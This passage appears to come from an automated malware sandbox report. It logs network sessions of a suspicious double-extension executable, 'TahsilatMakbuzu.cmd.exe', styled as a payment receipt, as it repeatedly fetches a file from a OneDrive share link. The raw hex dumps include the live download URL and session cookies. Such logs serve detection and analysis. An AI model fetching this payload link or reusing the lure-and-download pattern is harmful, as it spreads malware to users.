-D144-441C-BF74-75AD9B479C0A":true,"92831F9A-4AD7-454F-919C-6A97BF4D100A":true,"BB76D37D-05AE-4715-8125-5994C2AAAE59":true,"F6D88F09-648D-4C38-B3D8-676F64266F63":true,"2217E019-3C2C-41E6-A740-81655BD31EFD":true,"89641841-E356-4645-84E3-4F73724BA099":true,
2024-07-04 18:18:20 UTC	2537	IN	Data Raw: 44 30 2d 41 41 32 36 2d 43 33 37 39 44 34 46 39 34 43 42 45 22 3a 74 72 75 65 2c 22 32 37 33 38 35 35 35 38 2d 33 31 45 43 2d 34 38 30 41 2d 39 43 33 39 2d 46 45 45 46 41 34 38 44 46 39 31 46 22 3a 74 72 75 65 2c 22 34 37 35 30 33 41 39 38 2d 46 42 30 36 2d 34 34 30 41 2d 42 39 32 31 2d 31 34 35 37 41 32 32 42 31 37 46 39 22 3a 74 72 75 65 2c 22 41 37 36 44 30 34 42 41 2d 35 46 35 44 2d 34 31 32 35 2d 39 30 36 43 2d 34 44 46 37 41 45 35 37 30 38 30 35 22 3a 74 72 75 65 2c 22 32 44 43 44 31 33 30 32 2d 43 30 44 37 2d 34 43 30 35 2d 38 41 35 36 2d 30 32 37 30 45 36 43 37 32 38 34 45 22 3a 74 72 75 65 2c 22 36 45 38 38 34 31 43 34 2d 44 32 32 31 2d 34 36 30 35 2d 42 30 30 37 2d 32 42 46 32 41 34 45 39 46 41 31 39 22 3a 74 72 75 65 2c 22 37 42 39 32 31 34 39 Data Ascii: D0-AA26-C379D4F94CBE":true,"27385558-31EC-480A-9C39-FEEFA48DF91F":true,"47503A98-FB06-440A-B921-1457A22B17F9":true,"A76D04BA-5F5D-4125-906C-4DF7AE570805":true,"2DCD1302-C0D7-4C05-8A56-0270E6C7284E":true,"6E8841C4-D221-4605-B007-2BF2A4E9FA19":true,"7B92149
2024-07-04 18:18:21 UTC	8192	IN	Data Raw: 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 31 Data Ascii: 08EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD267831
2024-07-04 18:18:21 UTC	8192	IN	Data Raw: 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c 22 Data Ascii: D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,"
2024-07-04 18:18:21 UTC	8192	IN	Data Raw: 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 31 Data Ascii: 3-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A1
2024-07-04 18:18:21 UTC	8192	IN	Data Raw: 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 41 Data Ascii: 4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4A
2024-07-04 18:18:21 UTC	8192	IN	Data Raw: 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 2d Data Ascii: 5B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542-
2024-07-04 18:18:21 UTC	8192	IN	Data Raw: 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 33 Data Ascii: e,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A3
2024-07-04 18:18:21 UTC	8192	IN	Data Raw: 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 72 Data Ascii: DDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49860	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:21 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:18:22 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: DS1PPF257774B10 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: 0kAwYo+FeEuZtc3MZ5TNOA.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 18CBAE9B69B04921B6D34FDB30A73CDF Ref B: EWR30EDGE0220 Ref C: 2024-07-04T18:18:21Z Date: Thu, 04 Jul 2024 18:18:21 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49861	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:22 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49862	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:23 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:18:23 UTC	594	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: SA2PPF4D629566A Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: 3wQCYvv6AUinEoWxXnQZ0g.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 6B5743999AC84ABABEF4D45F831DC738 Ref B: EWR311000107029 Ref C: 2024-07-04T18:18:23Z Date: Thu, 04 Jul 2024 18:18:23 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49863	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:24 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:18:25 UTC	2223	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:5uKisVWc3Ig=:aB143pg1cpMIJXf3edeemF+NFcftTHO43XY+UO1NNKg=:F; domain=.live.com; path=/ Set-Cookie: xid=5dbac1d5-9169-4c2c-ab70-eb8f6a1b22c4&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:38:24 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTA0LCJuYmYiOjE3MjAxMTcxMDQsImdpdmVuX25hbWUiOiI3MSIsImZhbWlseV9uYW1lIjoiUGhlYXNhbnQiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJkYzhiOGY3ODcxN2IyMTRhY2QxMGNmMmI0ZWFlNjhiZiIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MTA0fQ.UuYYen0QcYfQdS4GlDSn60QdeVntaac2Y50AWoNn4nEO3tVGu49kHwkTc2dd7WAunYFx0THx83NSvcKZ6hIzYsP9CN3W-C4OOEobho-RFQqmcV2s_MI3tKdSjw1ntiaTaocGWfYRKb2sUnxPHS1sllLHWX9nDb4_jNtv4LOrpF6YsIkMccEbaOgcyb_2ugjS1humOnpgKjJtLElBoZ4FHGfcKx_aWADA1qOcCxxXWPw1n2hcqZSaiC7Zd0ql3Q8Cctuve6yFpe4bIJZIDeWzcLMnxoG1l7I1owwL1_IFTGbupsh4wwMANncIVbEtJWlAbRXnBPl1z8mIdRYAOW-C6Q; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:18:25 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-kv5ph X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: FD856AD2A22A460D9353D597138B3DEA Ref B: BN3EDGE0613 Ref C: 2024-07-04T18:18:24Z Date: Thu, 04 Jul 2024 18:18:24 GMT Connection: close
2024-07-04 18:18:25 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49864	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:25 UTC	1283	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTA0LCJuYmYiOjE3MjAxMTcxMDQsImdpdmVuX25hbWUiOiI3MSIsImZhbWlseV9uYW1lIjoiUGhlYXNhbnQiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJkYzhiOGY3ODcxN2IyMTRhY2QxMGNmMmI0ZWFlNjhiZiIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MTA0fQ.UuYYen0QcYfQdS4GlDSn60QdeVntaac2Y50AWoNn4nEO3tVGu49kHwkTc2dd7WAunYFx0THx83NSvcKZ6hIzYsP9CN3W-C4OOEobho-RFQqmcV2s_MI3tKdSjw1ntiaTaocGWfYRKb2sUnxPHS1sllLHWX9nDb4_jNtv4LOrpF6YsIkMccEbaOgcyb_2ugjS1humOnpgKjJtLElBoZ4FHGfcKx_aWADA1qOcCxxXWPw1n2hcqZSaiC7Zd0ql3Q8Cctuve6yFpe4bIJZIDeWzcLMnxoG1l7I1owwL1_IFTGbupsh4wwMANncIVbEtJWlAbRXnBPl1z8mIdRYAOW-C6Q; E=P:5uKisVWc3Ig=:aB143pg1cpMIJXf3edeemF+NFcftTHO43XY+UO1NNKg=:F; xid=5dbac1d5-9169-4c2c-ab70-eb8f6a [TRUNCATED]
2024-07-04 18:18:25 UTC	1925	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,54,4773,0,129425,25 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 4e1239a1-30ca-5000-f35b-eb1b539a967d request-id: 4e1239a1-30ca-5000-f35b-eb1b539a967d MS-CV: oTkSTsowAFDzW+sbU5qWfQ.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 32 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: AC2DEE53F3744CDC84BEAB0C28B570E9 Ref B: BN3EDGE0613 Ref C: 2024-07-04T18:18:25Z Date: Thu, 04 Jul 2024 18:18:24 GMT Connection: close
2024-07-04 18:18:25 UTC	2219	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:18:25 UTC	8192	IN	Data Raw: 34 36 31 39 30 34 2c 2d 32 30 31 33 31 33 34 37 31 32 2c 39 38 39 35 34 2c 38 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c 39 Data Ascii: 461904,-2013134712,98954,8520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,9
2024-07-04 18:18:25 UTC	4166	IN	Data Raw: 43 2d 34 33 32 46 2d 39 37 31 46 2d 42 35 42 43 44 34 41 38 38 38 35 32 22 3a 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 37 36 41 Data Ascii: 